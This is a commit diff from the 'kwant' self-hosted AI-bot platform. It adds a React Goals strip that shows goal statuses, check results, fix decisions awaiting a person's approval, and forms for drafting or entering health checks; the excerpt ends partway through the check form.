Skip to content

armgit / kwant

Public Imported from GitHub
0

Your own team of AI bots in one self-hosted binary: spaces, every account you have, handoffs, approvals and routines. Open-source, self-hosted alternative to Grok Bot, Claude Duet and OpenAI dots. Rust + React.

Goals UI: strip, drawer, form, quiet deltas D1-D9 (plan v2) (#229)

Oleksandr Ivanchenkoe9203301b5f8
diff --git a/frontend/src/App.tsx b/frontend/src/App.tsx
index fd036bde..f9b6a839 100644
--- a/frontend/src/App.tsx
+++ b/frontend/src/App.tsx
@@ -977,6 +977,13 @@ export const SpaceApp: React.FC<SpaceAppProps> = ({
case 'FactDispute':
if (event.data?.dispute?.id) emitMission({ type: 'fact_dispute', data: { dispute: event.data.dispute } });
break;
+ // Goals (0.6.5): the board's Goals strip reads the goal again.
+ case 'goal_updated':
+ case 'GoalUpdated': {
+ const id = event.data?.id ?? event.data?.goal?.id;
+ if (typeof id === 'string' && id) emitMission({ type: 'goal_updated', data: { id, status: event.data?.status ?? event.data?.goal?.status ?? null } });
+ break;
+ }
case 'routine_run':
case 'RoutineRun':
emitContinuity({ type: 'routine_run', data: event.data });
diff --git a/frontend/src/components/GoalsStrip.tsx b/frontend/src/components/GoalsStrip.tsx
new file mode 100644
index 00000000..c35051ad
--- /dev/null
+++ b/frontend/src/components/GoalsStrip.tsx
@@ -0,0 +1,1988 @@
+// Goals on the Mission board (0.6.5, plan v2 §B.3 under the §B.0 "quiet by default" rules). Always there
+// when the board is: there is no setting. While every goal is OK the strip is one line ("3 goals OK ·
+// checked 4 min ago"); cards show only for goals that want a look, or when the person opens the strip.
+// Empty, it is one line with a link. A broken goal whose fix waits for the person shows one decision with
+// the bot's diagnosis: Fix it / Not now / Always fix this goal. Checks read as desired vs observed. A draft
+// shows its checks verbatim (commands included) with Approve / Edit / Dismiss. The drawer has the goal's
+// current work and its timeline. Can't check (Unknown) is never drawn like OK: its own grey, dashed pill,
+// a question-mark icon and its own words. Live through `goal_updated`.
+
+import React, { useCallback, useEffect, useId, useMemo, useRef, useState } from 'react';
+import { AlertTriangle, CheckCircle2, ChevronDown, CircleHelp, FilePen, Hourglass, Loader2, LucideIcon, Pause, Play, Plus, RefreshCw, Target, Trash2, Wrench, X, XCircle } from 'lucide-react';
+import { Check, MissionError, Task, Tone, ago, checkKindLabel, checkTarget, newIdempotencyKey, onMission, stateLabel, missionStatusLabel } from '../missions';
+import {
+ CheckFormRow,
+ GOAL_CHECK_KINDS,
+ Goal,
+ GoalCheck,
+ GoalDecision,
+ GoalDetail,
+ GoalDraft,
+ GoalError,
+ GoalEvent,
+ GoalFormState,
+ GoalMission,
+ GoalOperator,
+ GoalsApi,
+ MAX_CHECKS,
+ METRICS,
+ MODE_OPTIONS,
+ OPEN_GOAL_EVENT,
+ OPERATOR_WORDS,
+ PRIORITY_OPTIONS,
+ StatusLook,
+ canCheckNow,
+ checkDesired,
+ checkLook,
+ checkObserved,
+ clockText,
+ currentWorkText,
+ draftFromForm,
+ emptyCheckRow,
+ eventTaskId,
+ formFromGoal,
+ goalCheckName,
+ goalDecision,
+ goalEventQuote,
+ goalEventText,
+ goalEventTone,
+ goalFormErrors,
+ goalStatusLook,
+ goalsApi,
+ hasFormErrors,
+ heldFixTask,
+ liveTouchesGoalFix,
+ intervalLabel,
+ intervalOptions,
+ isOpenMission,
+ metricInfo,
+ modeLabel,
+ needsYouText,
+ openGoal,
+ priorityLabel,
+ scheduleText,
+ displayStatus,
+ sortGoals,
+ specLines,
+ spentText,
+ stripSummary,
+ wantsLook,
+ withKind,
+ withMetric,
+} from '../goals';
+
+const focusRing = 'focus-visible:outline focus-visible:outline-2 focus-visible:outline-sky-500';
+const btn = `inline-flex items-center justify-center gap-1 min-h-[40px] sm:min-h-[28px] px-2.5 rounded-lg text-[11px] font-medium disabled:opacity-50 disabled:cursor-not-allowed ${focusRing}`;
+const plainBtn = `${btn} border border-zinc-700 bg-zinc-800/80 text-zinc-100 hover:bg-zinc-700`;
+const quietBtn = `${btn} text-zinc-400 hover:text-zinc-100 hover:bg-zinc-800`;
+const goodBtn = `${btn} bg-emerald-600/90 text-white hover:bg-emerald-500`;
+const mainBtn = `${btn} bg-sky-600 text-white hover:bg-sky-500`;
+const dangerBtn = `${btn} border border-rose-500/40 text-rose-200 hover:bg-rose-500/10`;
+const linkBtn = `inline-flex items-center min-h-[40px] sm:min-h-0 rounded text-sky-300 underline underline-offset-2 hover:text-sky-200 ${focusRing}`;
+const field =
+ 'w-full min-w-0 min-h-[40px] sm:min-h-[36px] px-2.5 py-1.5 bg-zinc-950 border border-zinc-800 rounded-lg text-xs text-zinc-100 placeholder:text-zinc-600 focus:outline-none focus:border-sky-500 aria-[invalid=true]:border-rose-500/70';
+const heading = 'text-[11px] font-medium uppercase tracking-wide text-zinc-500';
+// Long names, addresses and commands wrap anywhere instead of pushing the card wider than a phone.
+const wrap = 'break-words [overflow-wrap:anywhere]';
+
+const PILL: Record<StatusLook['icon'], string> = {
+ met: 'border-emerald-500/40 bg-emerald-500/10 text-emerald-200',
+ not_met: 'border-rose-500/40 bg-rose-500/10 text-rose-200',
+ fixing: 'border-violet-500/40 bg-violet-500/10 text-violet-200',
+ // Can't check: grey and dashed, so it can't be read as OK at a glance.
+ unknown: 'border-dashed border-zinc-500 bg-transparent text-zinc-300',
+ needs_you: 'border-amber-500/40 bg-amber-500/10 text-amber-200',
+ paused: 'border-zinc-700 bg-zinc-800 text-zinc-400',
+ draft: 'border-sky-500/40 bg-sky-500/10 text-sky-200',
+ checking: 'border-sky-500/40 bg-sky-500/10 text-sky-200',
+ waiting: 'border-zinc-600 bg-zinc-800/60 text-zinc-300',
+};
+const PILL_ICON: Record<StatusLook['icon'], LucideIcon> = {
+ met: CheckCircle2,
+ not_met: XCircle,
+ fixing: Wrench,
+ unknown: CircleHelp,
+ needs_you: AlertTriangle,
+ paused: Pause,
+ draft: FilePen,
+ checking: Loader2,
+ waiting: Hourglass,
+};
+const CARD_EDGE: Record<string, string> = {
+ needs_you: 'border-amber-500/30',
+ not_met: 'border-rose-500/30',
+ draft: 'border-sky-500/30',
+};
+const TEXT: Record<Tone, string> = {
+ emerald: 'text-emerald-300',
+ rose: 'text-rose-300',
+ amber: 'text-amber-300',
+ violet: 'text-violet-300',
+ sky: 'text-sky-300',
+ zinc: 'text-zinc-400',
+};
+const VERDICT_ICON = { met: CheckCircle2, not_met: XCircle, unknown: CircleHelp } as const;
+
+const errText = (e: unknown, fallback: string) => (e instanceof Error && e.message ? e.message : fallback);
+const botName = (id: string | null, names: Record<string, string>) => (id ? names[id] ?? 'a bot' : null);
+const spin = 'animate-spin motion-reduce:animate-none';
+/** A goal as the server has it: the strip swaps `status` for what it draws, and that must never be saved back. */
+const rawOf = (g: Goal): Goal => ({ ...g, status: g.raw_status ?? g.status, raw_status: undefined });
+
+export const GoalStatusPill: React.FC<{ status: string }> = ({ status }) => {
+ const look = goalStatusLook(status);
+ const Icon = PILL_ICON[look.icon];
+ return (
+ <span
+ title={look.hint}
+ className={`inline-flex shrink-0 items-center gap-1 rounded-full border px-1.5 py-px text-[10px] font-semibold ${PILL[look.icon]}`}
+ data-goal-status={status}
+ data-pill-look={look.icon}
+ >
+ <Icon size={11} className={look.icon === 'checking' ? spin : ''} aria-hidden="true" />
+ {look.label}
+ </span>
+ );
+};
+
+/**
+ * Desired vs observed, one line: "HTTP status = 200 · observed 503 · 4 min ago". A run that's out of date,
+ * couldn't run or hasn't run says so instead of "observed", in grey: it never reads as a pass.
+ */
+const DesiredObserved: React.FC<{ check: GoalCheck; interval: number; now: number }> = ({ check: c, interval, now }) => {
+ const look = checkLook(c, interval, now);
+ const seen = checkObserved(c);
+ const fresh = look.verdict !== 'unknown';
+ return (
+ <span data-desired-observed>
+ <span className="text-zinc-300">{checkDesired(c)}</span>
+ <span className="text-zinc-600" aria-hidden="true">
+ {' · '}
+ </span>
+ <span className={TEXT[look.tone]} data-observed>
+ {fresh && seen ? `observed ${seen}` : look.label}
+ {!fresh && seen && c.latest?.status !== 'error' ? ` (last saw ${seen})` : ''}
+ </span>
+ {c.latest?.observed_at && <span className="text-zinc-500"> · {ago(c.latest.observed_at, now)}</span>}
+ </span>
+ );
+};
+
+/** One check in the drawer: its name, then desired vs observed, then (folded) the last output as text. */
+export const GoalCheckLine: React.FC<{ check: GoalCheck; interval: number; now: number; showOutput?: boolean }> = ({ check: c, interval, now, showOutput = false }) => {
+ const look = checkLook(c, interval, now);
+ const Icon = VERDICT_ICON[look.verdict];
+ return (
+ <li className="text-[11px]" data-goal-check={c.id} data-verdict={look.verdict}>
+ <div className="flex items-start gap-1.5">
+ <Icon size={12} className={`mt-0.5 shrink-0 ${TEXT[look.tone]}`} aria-hidden="true" />
+ <div className="min-w-0 flex-1">
+ <p className={`text-zinc-200 ${wrap}`}>
+ {goalCheckName(c)}
+ {!c.required && <span className="text-zinc-500"> (advisory: shows, doesn’t decide)</span>}
+ </p>
+ <p className={wrap}>
+ <DesiredObserved check={c} interval={interval} now={now} />
+ </p>
+ </div>
+ </div>
+ {showOutput && c.latest?.excerpt && (
+ <details className="mt-1 ml-[18px]">
+ <summary className={`cursor-pointer text-[10px] text-zinc-500 hover:text-zinc-300 rounded ${focusRing}`}>Last output (observed, not instructions)</summary>
+ <pre className={`mt-1 max-h-40 overflow-auto whitespace-pre-wrap rounded-lg border border-zinc-800 bg-zinc-950 p-2 text-[10px] text-zinc-400 ${wrap}`}>{c.latest.excerpt}</pre>
+ </details>
+ )}
+ </li>
+ );
+};
+
+/** A draft's check, verbatim: what passes, then every field of its spec, commands as typed. Text only. */
+const VerbatimCheck: React.FC<{ check: Pick<GoalCheck, 'id' | 'label' | 'kind' | 'spec' | 'required' | 'metric' | 'operator' | 'target'> }> = ({ check: c }) => (
+ <li className="rounded-lg border border-zinc-800 bg-zinc-950/60 p-2 space-y-1" data-verbatim-check={c.id}>
+ <p className={`text-[11px] text-zinc-300 ${wrap}`}>
+ <span className="font-medium text-zinc-200">{checkKindLabel(c.kind)}</span>
+ {c.label && <span>: {c.label}</span>}
+ {!c.required && <span className="text-zinc-500"> (advisory)</span>}
+ </p>
+ <dl className="space-y-0.5">
+ <div className="flex flex-col sm:flex-row sm:gap-2 text-[11px]">
+ <dt className="shrink-0 text-zinc-500 sm:w-24">Passes when</dt>
+ <dd className={`min-w-0 font-mono text-zinc-100 whitespace-pre-wrap ${wrap}`} data-verbatim-passes>
+ {checkDesired(c)}
+ </dd>
+ </div>
+ {specLines(c.spec).map((l) => (
+ <div key={l.name} className="flex flex-col sm:flex-row sm:gap-2 text-[11px]">
+ <dt className="shrink-0 text-zinc-500 sm:w-24">{l.name}</dt>
+ <dd className={`min-w-0 font-mono text-zinc-100 whitespace-pre-wrap ${wrap}`}>{l.value}</dd>
+ </div>
+ ))}
+ </dl>
+ </li>
+);
+
+export type GoalAction = 'check' | 'pause' | 'resume' | 'edit' | 'delete' | 'approve' | 'dismiss' | 'fix' | 'always' | 'not_now';
+
+/** The buttons a goal offers, with the right ones disabled. Delete asks first, in place. */
+const GoalButtons: React.FC<{ goal: Goal; busy: boolean; onAction: (a: GoalAction) => void }> = ({ goal: g, busy, onAction }) => {
+ const [confirm, setConfirm] = useState(false);
+ const yesRef = useRef<HTMLButtonElement>(null);
+ const draft = g.status === 'draft';
+ useEffect(() => {
+ if (confirm) yesRef.current?.focus();
+ }, [confirm]);
+ if (confirm)
+ return (
+ <div role="group" aria-label="Confirm" className="flex flex-wrap items-center gap-2 rounded-lg border border-rose-500/30 bg-rose-500/5 p-2" data-confirm-delete>
+ <p className="w-full text-[11px] text-rose-200">{draft ? 'Dismiss this proposal? Nothing has run.' : 'Delete this goal? Its checks and history go too. Open fix work stays on the board.'}</p>
+ <button
+ ref={yesRef}
+ type="button"
+ disabled={busy}
+ onClick={() => {
+ setConfirm(false);
+ onAction(draft ? 'dismiss' : 'delete');
+ }}
+ className={dangerBtn}
+ data-confirm-yes
+ >
+ {draft ? 'Dismiss' : 'Delete goal'}
+ </button>
+ <button type="button" onClick={() => setConfirm(false)} className={quietBtn}>
+ Keep it
+ </button>
+ </div>
+ );
+ if (draft)
+ return (
+ <div className="flex flex-wrap items-center gap-1.5">
+ <button type="button" disabled={busy} onClick={() => onAction('approve')} className={goodBtn} data-goal-approve>
+ {busy ? <Loader2 size={12} className={spin} aria-hidden="true" /> : <CheckCircle2 size={12} aria-hidden="true" />} Approve
+ </button>
+ <button type="button" disabled={busy} onClick={() => onAction('edit')} className={plainBtn} data-goal-edit>
+ Edit
+ </button>
+ <button type="button" disabled={busy} onClick={() => setConfirm(true)} className={quietBtn} data-goal-dismiss>
+ Dismiss
+ </button>
+ </div>
+ );
+ const paused = g.status === 'paused';
+ const checkOk = canCheckNow(g);
+ return (
+ <div className="flex flex-wrap items-center gap-1.5">
+ <button type="button" disabled={busy || !checkOk} onClick={() => onAction('check')} title={checkOk ? undefined : 'Checking now'} className={plainBtn} data-goal-check-now>
+ {busy ? <Loader2 size={12} className={spin} aria-hidden="true" /> : <RefreshCw size={12} aria-hidden="true" />} Check now
+ </button>
+ <button type="button" disabled={busy} onClick={() => onAction(paused ? 'resume' : 'pause')} className={quietBtn} data-goal-pause={paused ? 'resume' : 'pause'}>
+ {paused ? <Play size={12} aria-hidden="true" /> : <Pause size={12} aria-hidden="true" />} {paused ? 'Resume' : 'Pause'}
+ </button>
+ <button type="button" disabled={busy} onClick={() => onAction('edit')} className={quietBtn} data-goal-edit>
+ Edit
+ </button>
+ <button type="button" disabled={busy} onClick={() => setConfirm(true)} className={quietBtn} data-goal-delete>
+ <Trash2 size={12} aria-hidden="true" /> Delete
+ </button>
+ </div>
+ );
+};
+
+/**
+ * The one decision of an incident (B.0 rule 2): what broke and since when, the bot's diagnosis, and
+ * Fix it / Not now / Always fix this goal. The diagnosis is the bot's report, shown as text and marked as such.
+ * No buttons before there is a diagnosis (D5): until then the bot is still looking, and a decision without
+ * its reason would only be a question. If it gives up, the card says so and offers the buttons anyway.
+ */
+export const DecisionCard: React.FC<{
+ goal: Goal;
+ decision: Extract<GoalDecision, { kind: 'run' }>;
+ names: Record<string, string>;
+ now: number;
+ busy: boolean;
+ onAction: (a: GoalAction) => void;
+ compact?: boolean;
+}> = ({ goal: g, decision: { diagnosis: d, phase, taskId }, names, now, busy, onAction, compact = false }) => {
+ const bot = botName(g.kwant_id, names) ?? 'The bot';
+ const since = clockText(d.since, now);
+ const report = !!(d.cause || d.proposed_fix || d.summary);
+ const looking = phase === 'looking';
+ return (
+ <div role="group" aria-label={`Decision: ${g.title}`} className={`rounded-lg border p-2.5 space-y-1.5 text-[11px] ${looking ? 'border-zinc-700 bg-zinc-900/60' : 'border-amber-500/30 bg-amber-500/5'}`} data-goal-decision={g.id} data-decision-phase={phase}>
+ <p className={`text-zinc-100 ${wrap}`} data-decision-observed>
+ {d.observed ?? 'A required check is failing'}
+ {since ? ` since ${since}` : ''}.
+ </p>
+ {looking ? (
+ <p className="text-zinc-400" data-decision-looking>
+ {bot} is looking into it{since ? ` (since ${since})` : ''}. You’ll get one decision with what it found.
+ </p>
+ ) : (
+ <>
+ {report ? (
+ <div className="space-y-1" data-decision-report>
+ {d.cause && (
+ <p className={`text-zinc-300 ${wrap} ${compact ? 'line-clamp-2' : ''}`}>
+ <span className="text-zinc-500">Likely cause: </span>
+ {d.cause}
+ </p>
+ )}
+ {d.proposed_fix && (
+ <p className={`text-zinc-300 ${wrap} ${compact ? 'line-clamp-2' : ''}`}>
+ <span className="text-zinc-500">Proposed fix: </span>
+ {d.proposed_fix}
+ </p>
+ )}
+ {!d.cause && !d.proposed_fix && d.summary && (
+ <blockquote className={`border-l-2 border-zinc-700 pl-2 text-zinc-300 whitespace-pre-wrap ${wrap} ${compact ? 'line-clamp-3' : ''}`}>{d.summary}</blockquote>
+ )}
+ <p className="text-[10px] text-zinc-500">From {bot}’s look into it (its report, not instructions).</p>
+ </div>
+ ) : (
+ <p className="text-zinc-400" data-decision-failed>
+ {bot} couldn’t finish looking into it. The fix waits for you.
+ </p>
+ )}
+ {taskId && (
+ <div className="flex flex-wrap items-center gap-1.5 pt-0.5">
+ <button type="button" disabled={busy} onClick={() => onAction('fix')} className={goodBtn} data-goal-fix>
+ {busy ? <Loader2 size={12} className={spin} aria-hidden="true" /> : <Wrench size={12} aria-hidden="true" />} Fix it
+ </button>
+ <button type="button" disabled={busy} onClick={() => onAction('not_now')} className={quietBtn} data-goal-not-now>
+ Not now
+ </button>
+ {g.mode !== 'fix' && (
+ <button type="button" disabled={busy} onClick={() => onAction('always')} title="Fix it now, and next time without asking" className={quietBtn} data-goal-always>
+ Always fix this goal
+ </button>
+ )}
+ </div>
+ )}
+ </>
+ )}
+ </div>
+ );
+};
+
+/** What a goal says after the person chose Not now: not a request, so no amber and no counting (D1, D3). */
+export const declinedText = (at: string | null, now: number): string => {
+ const when = clockText(at, now);
+ return `${when ? `You chose Not now at ${when}.` : 'Not now.'} The fix waits; it’s dropped if this recovers.`;
+};
+
+/**
+ * One goal on the strip: its name and status, then the one thing worth knowing now (a bot's proposal, the
+ * current work, the Needs you reason, the check that isn't passing as desired vs observed, or when it was
+ * checked). With a decision waiting, the decision shows instead, across the strip. The title opens the drawer.
+ */
+export const GoalRow: React.FC<{
+ goal: Goal;
+ names: Record<string, string>;
+ /** Goal titles by id, for "Waiting for “…”". */
+ titles?: Record<string, string>;
+ now?: number;
+ error?: string | null;
+ busy?: boolean;
+ /** The incident's decision: Fix it / Not now here, or what Not now left behind. */
+ decision?: Extract<GoalDecision, { kind: 'run' | 'declined' }> | null;
+ /** Past the first three on a phone, until "Show all". */
+ hideOnPhone?: boolean;
+ onOpen: (g: Goal) => void;
+ onOpenTask?: (id: string) => void;
+ onAction?: (a: GoalAction) => void;
+}> = ({ goal: g, names, titles = {}, now = Date.now(), error = null, busy = false, decision = null, hideOnPhone = false, onOpen, onOpenTask, onAction }) => {
+ const id = useId();
+ const draft = g.status === 'draft';
+ const proposer = g.created_by && g.created_by !== 'person' ? names[g.created_by] ?? null : null;
+ const work = currentWorkText(g, titles);
+ const broken = !draft && !work && (g.status === 'not_met' || g.status === 'unknown' || g.status === 'needs_you') ? g.checks.find((c) => c.required && checkLook(c, g.interval_minutes, now).verdict !== 'met') : undefined;
+ const fixTask = g.open_fix_task && !g.open_mission ? g.open_fix_task : null;
+ const run = decision?.kind === 'run' ? decision : null;
+ const declined = decision?.kind === 'declined' ? decision : null;
+ const wide = !!(run && onAction);
+ return (
+ <li
+ aria-labelledby={`${id}-t`}
+ className={`relative min-w-0 rounded-lg border bg-zinc-900/40 px-2.5 py-1.5 ${wide ? 'sm:col-span-2 xl:col-span-3 space-y-1.5' : 'flex items-center gap-2 hover:bg-zinc-900/70'} ${CARD_EDGE[g.status] ?? 'border-zinc-800'} ${hideOnPhone ? 'max-sm:hidden' : ''}`}
+ data-goal={g.id}
+ data-status={g.status}
+ >
+ <div className="min-w-0 flex-1">
+ <div className="flex items-center gap-2">
+ {/* Stretched over a compact row, so the whole row is one big target; links sit above it. */}
+ <button
+ type="button"
+ id={`${id}-t`}
+ title={g.title}
+ onClick={() => onOpen(g)}
+ className={`min-w-0 flex-1 truncate text-left text-xs font-medium text-zinc-100 rounded ${wide ? 'hover:underline' : "after:absolute after:inset-0 after:content-['']"} ${focusRing}`}
+ data-goal-open
+ >
+ {g.title}
+ </button>
+ <GoalStatusPill status={g.status} />
+ </div>
+ {wide ? null : draft ? (
+ <p className="mt-0.5 truncate text-[11px] text-zinc-400" data-goal-line="draft">
+ {proposer ? `${proposer} proposed this.` : 'A bot proposed this.'} Nothing runs until you approve it.
+ </p>
+ ) : declined ? (
+ <p className={`mt-0.5 text-[11px] text-zinc-400 ${wrap}`} data-goal-line="declined">
+ {declinedText(declined.at, now)}
+ </p>
+ ) : g.status === 'needs_you' ? (
+ <p className="mt-0.5 truncate text-[11px] text-amber-200" data-goal-line="needs-you">
+ {needsYouText(g.status_reason)}
+ </p>
+ ) : fixTask && onOpenTask ? (
+ <p className="mt-0.5 flex min-w-0 items-center gap-1 text-[11px]" data-goal-fix-link={fixTask.id}>
+ <Wrench size={11} className="shrink-0 text-violet-300" aria-hidden="true" />
+ <button type="button" onClick={() => onOpenTask(fixTask.id)} className={`relative z-10 min-w-0 truncate text-left text-sky-300 underline underline-offset-2 hover:text-sky-200 rounded ${focusRing}`} data-open-fix>
+ {fixTask.title}
+ </button>
+ <span className="shrink-0 text-zinc-500">· {fixTask.held ? 'fix ready, waiting for your OK' : stateLabel(fixTask.state).label}</span>
+ </p>
+ ) : work ? (
+ <p className="mt-0.5 flex min-w-0 items-center gap-1 text-[11px] text-zinc-400" data-goal-line="work">
+ {g.status === 'waiting' ? <Hourglass size={11} className="shrink-0 text-zinc-500" aria-hidden="true" /> : <Wrench size={11} className="shrink-0 text-violet-300" aria-hidden="true" />}
+ <span className="min-w-0 truncate">{work}</span>
+ </p>
+ ) : broken ? (
+ <p className="mt-0.5 truncate text-[11px] text-zinc-400" data-goal-line="check">
+ <DesiredObserved check={broken} interval={g.interval_minutes} now={now} />
+ </p>
+ ) : (
+ <p className="mt-0.5 truncate text-[11px] text-zinc-500" data-goal-schedule>
+ {scheduleText(g, now)}
+ </p>
+ )}
+ </div>
+ {wide && run && onAction && <DecisionCard goal={g} decision={run} names={names} now={now} busy={busy} onAction={onAction} compact />}
+ {declined?.taskId && onAction && (
+ <button type="button" disabled={busy} onClick={() => onAction('fix')} className={`${quietBtn} relative z-10 shrink-0`} data-goal-fix data-goal-fix-quiet>
+ {busy && <Loader2 size={12} className={spin} aria-hidden="true" />} Fix it
+ </button>
+ )}
+ {error && (
+ <p className={`text-[11px] text-rose-300 ${wrap}`} data-goal-error>
+ {error}
+ </p>
+ )}
+ {draft && !wide && (
+ <span className={`${plainBtn} relative z-10 pointer-events-none shrink-0`} aria-hidden="true" data-goal-review>
+ Review
+ </span>
+ )}
+ </li>
+ );
+};
+
+// ---------- New goal: one sentence, and a bot drafts the checks ----------
+
+const BOT_KEY = 'kwnt.goals.bot';
+const readBot = () => {
+ try {
+ return localStorage.getItem(BOT_KEY) ?? '';
+ } catch {
+ return '';
+ }
+};
+const saveBot = (id: string) => {
+ try {
+ localStorage.setItem(BOT_KEY, id);
+ } catch {
+ /* private mode */
+ }
+};
+const sortedBots = (bots: { id: string; name: string }[]) => [...bots].sort((a, b) => a.name.localeCompare(b.name));
+/** The bot last used for a goal, else the first by name. */
+const defaultBot = (bots: { id: string; name: string }[]) => {
+ const last = readBot();
+ return bots.some((b) => b.id === last) ? last : sortedBots(bots)[0]?.id ?? '';
+};
+
+export const MAX_DRAFTS = 3;
+
+/**
+ * "What should stay true?" in a sentence plus the bot, then Draft checks: the bot looks at the project and
+ * proposes a draft. "Add checks myself" opens the full form with the sentence carried over.
+ */
+export const GoalDescribe: React.FC<{
+ bots: { id: string; name: string }[];
+ drafts: number;
+ busy?: boolean;
+ error?: string | null;
+ onDraft: (text: string, kwantId: string) => void;
+ onManual: (text: string) => void;
+ onCancel: () => void;
+}> = ({ bots, drafts, busy = false, error = null, onDraft, onManual, onCancel }) => {
+ const id = useId();
+ const [text, setText] = useState('');
+ const [bot, setBot] = useState(() => defaultBot(bots));
+ const [tried, setTried] = useState(false);
+ const textRef = useRef<HTMLTextAreaElement>(null);
+ const textErr = text.trim().length < 3 ? 'Say in a sentence what should stay true.' : null;
+ const botErr = !bot ? 'Pick the bot that drafts the checks.' : null;
+ const full = drafts >= MAX_DRAFTS;
+ useEffect(() => {
+ textRef.current?.focus();
+ }, []);
+ return (
+ <form
+ className="space-y-4"
+ noValidate
+ data-goal-describe
+ onSubmit={(e) => {
+ e.preventDefault();
+ setTried(true);
+ if (textErr || botErr || full) {
+ (textErr ? textRef.current : document.getElementById(`${id}-bot`))?.focus();
+ return;
+ }
+ onDraft(text.trim(), bot);
+ }}
+ >
+ <div className="space-y-1">
+ <label htmlFor={`${id}-text`} className="block text-xs font-medium text-zinc-200">
+ What should stay true?
+ </label>
+ <textarea
+ ref={textRef}
+ id={`${id}-text`}
+ rows={3}
+ maxLength={1000}
+ value={text}
+ onChange={(e) => setText(e.target.value)}
+ placeholder="kwant.si answers in under a second, and sign-up still works."
+ aria-invalid={tried && !!textErr}
+ aria-describedby={tried && textErr ? `${id}-text-err` : `${id}-text-hint`}
+ className={`${field} resize-y`}
+ data-field="text"
+ />
+ {tried && textErr ? (
+ <p id={`${id}-text-err`} className="text-[11px] text-rose-300">
+ {textErr}
+ </p>
+ ) : (
+ <p id={`${id}-text-hint`} className="text-[10px] text-zinc-500">
+ One sentence is enough. The bot looks at the project and proposes checks that prove it.
+ </p>
+ )}
+ </div>
+ <div className="space-y-1">
+ <label htmlFor={`${id}-bot`} className="block text-xs font-medium text-zinc-200">
+ Which bot drafts the checks
+ </label>
+ <select id={`${id}-bot`} value={bot} onChange={(e) => setBot(e.target.value)} aria-invalid={tried && !!botErr} className={field} data-field="bot">
+ {bots.length === 0 && <option value="">No bots on this board yet</option>}
+ {sortedBots(bots).map((b) => (
+ <option key={b.id} value={b.id}>
+ {b.name}
+ </option>
+ ))}
+ </select>
+ <p className="text-[10px] text-zinc-500">It changes nothing now. If the goal breaks later, this bot looks into it and suggests the fix.</p>
+ {tried && botErr && <p className="text-[11px] text-rose-300">{botErr}</p>}
+ </div>
+ {full && (
+ <p className="rounded-lg border border-amber-500/30 bg-amber-500/5 px-3 py-2 text-[11px] text-amber-200" data-drafts-full>
+ {MAX_DRAFTS} drafts are waiting for you. Approve or dismiss one first, or add the checks yourself.
+ </p>
+ )}
+ {error && (
+ <p role="alert" className={`rounded-lg border border-rose-500/30 bg-rose-500/5 px-3 py-2 text-[11px] text-rose-200 ${wrap}`} data-form-error>
+ {error}
+ </p>
+ )}
+ <div className="flex flex-wrap items-center gap-2">
+ <button type="submit" disabled={busy || full} className={mainBtn} data-goal-draft>
+ {busy && <Loader2 size={12} className={spin} aria-hidden="true" />}
+ Draft checks
+ </button>
+ <button type="button" onClick={() => onManual(text.trim())} className={quietBtn} data-goal-manual>
+ Add checks myself
+ </button>
+ <button type="button" onClick={onCancel} className={quietBtn}>
+ Cancel
+ </button>
+ <p className="w-full text-[10px] text-zinc-500">The draft shows on the board. Nothing is checked until you approve it.</p>
+ </div>
+ </form>
+ );
+};
+
+// ---------- Add checks myself / Edit ----------
+
+const TARGET_LABEL: Record<string, { label: string; placeholder: string }> = {
+ status: { label: 'Status', placeholder: '200' },
+ latency_ms: { label: 'Milliseconds', placeholder: '500' },
+ body_contains: { label: 'Text', placeholder: 'ok' },
+ json_value: { label: 'Value', placeholder: 'ok' },
+ exit_code: { label: 'Code', placeholder: '0' },
+ stdout_contains: { label: 'Text', placeholder: 'passed' },
+ stdout_number: { label: 'Number', placeholder: '10' },
+};
+
+const CheckRowFields: React.FC<{
+ row: CheckFormRow;
+ index: number;
+ error: string | null;
+ canRemove: boolean;
+ onChange: (r: CheckFormRow) => void;
+ onRemove: () => void;
+}> = ({ row: r, index, error, canRemove, onChange, onRemove }) => {
+ const id = useId();
+ const errId = `${id}-err`;
+ const set = (patch: Partial<CheckFormRow>) => onChange({ ...r, ...patch });
+ const invalid = !!error;
+ const describedBy = invalid ? errId : undefined;
+ const input = (key: keyof CheckFormRow, label: string, placeholder: string, mono = false, extra = '') => (
+ <div className={`min-w-0 space-y-1 ${extra}`}>
+ <label htmlFor={`${id}-${key}`} className="block text-[11px] text-zinc-400">
+ {label}
+ </label>
+ <input
+ id={`${id}-${key}`}
+ value={r[key] as string}
+ onChange={(e) => set({ [key]: e.target.value } as Partial<CheckFormRow>)}
+ placeholder={placeholder}
+ aria-invalid={invalid}
+ aria-describedby={describedBy}
+ spellCheck={false}
+ autoCapitalize="off"
+ autoCorrect="off"
+ className={`${field} ${mono ? 'font-mono' : ''}`}
+ data-row-field={key}
+ />
+ </div>
+ );
+ const typed = r.kind === 'http' || r.kind === 'command';
+ const info = typed ? metricInfo(r.kind, r.metric) : null;
+ const target = TARGET_LABEL[r.metric] ?? { label: 'Value', placeholder: '' };
+ return (
+ <li className="rounded-lg border border-zinc-800 bg-zinc-950/40 p-2.5 space-y-2" data-check-row={r.key}>
+ <div className="flex items-end gap-2">
+ <div className="min-w-0 flex-1 space-y-1">
+ <label htmlFor={`${id}-kind`} className="block text-[11px] text-zinc-400">
+ Check {index + 1}
+ </label>
+ <select id={`${id}-kind`} value={r.kind} onChange={(e) => onChange(withKind(r, e.target.value as CheckFormRow['kind']))} className={field} data-row-field="kind">
+ {GOAL_CHECK_KINDS.map((k) => (
+ <option key={k} value={k}>
+ {checkKindLabel(k)}
+ </option>
+ ))}
+ </select>
+ </div>
+ {canRemove && (
+ <button type="button" onClick={onRemove} aria-label={`Remove check ${index + 1}`} className={`${quietBtn} shrink-0`}>
+ <X size={14} aria-hidden="true" />
+ </button>
+ )}
+ </div>
+ {r.kind === 'command' && input('command', 'Command to run in the bot’s folder', 'npm test', true)}
+ {r.kind === 'http' && input('url', 'Web address', 'https://example.com/health')}
+ {typed && info && (
+ <fieldset className="space-y-1" data-predicate>
+ <legend className="text-[11px] text-zinc-400">Passes when</legend>
+ <div className="grid grid-cols-2 gap-2 sm:grid-cols-[minmax(0,1.3fr)_minmax(0,1fr)_minmax(0,1fr)]">
+ <select aria-label="What to look at" value={r.metric} onChange={(e) => onChange(withMetric(r, e.target.value))} className={`${field} col-span-2 sm:col-span-1`} data-row-field="metric">
+ {METRICS[r.kind as 'http' | 'command'].map((m) => (
+ <option key={m.value} value={m.value}>
+ {m.label}
+ </option>
+ ))}
+ </select>
+ {info.operators.length > 1 ? (
+ <select aria-label="How to compare" value={r.operator} onChange={(e) => set({ operator: e.target.value as GoalOperator })} className={field} data-row-field="operator">
